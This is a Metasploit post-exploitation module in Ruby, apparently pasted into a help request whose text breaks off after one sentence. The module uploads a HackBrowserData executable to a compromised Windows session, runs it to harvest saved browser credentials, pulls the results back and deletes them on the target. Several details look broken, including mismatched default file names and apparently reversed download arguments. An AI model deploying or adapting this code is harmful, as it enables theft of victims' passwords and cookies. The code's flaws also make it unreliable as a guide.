class MetasploitModule < Msf::Post
include Msf::Post::File
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Multi Gather Browsers Credentials with HackBrowserData',
'Description' => %q{Push a file and execute it.},
'Author' => 'nounou',
'License' => MSF_LICENSE,
'Platform' => ['win', 'unix', 'linux', 'osx'],
'SessionTypes' => ['meterpreter'],
'Notes' => {
'Stability' => ['np'],
'Reliability' => ['np'],
'SideEffects' => ['np']
}
)
)
register_options([
OptPath.new('LPATH', [false, 'Local file path to upload and execute']),
OptString.new('RPATH', [false, 'Remote file path on target (default is temporary folder)']),
OptString.new('FILENAME', [false, 'Name of the executable (default is hbd.exe)']),
])
end
def run
$username = session.sys.config.getenvs('USERNAME')['USERNAME']
$user_env = "c:\\Users\\#{$username}"
executable = "#{rpath}\\#{filename}"
print_status($username)
print_status("Uploading #{lpath} to #{executable}")
upload_file(executable, lpath)
results = "#{rpath}\\results"
cmd_exec(executable)
session.fs.dir.download('', results)
dir_rm(results)
end
def lpath
datastore['LPATH'].blank? ? 'uet.exe' : datastore['LPATH']
end
def rpath
datastore['RPATH'].blank? ? + $user_env + '\\AppData\\Local\\Temp' : datastore['RPATH']
end
def filename
datastore['FILENAME'].blank? ? 'hbd.exe' : datastore['FILENAME']
end
end
Summary
So I'm currently trying to make a post for myself that:
Relevant information
Post code: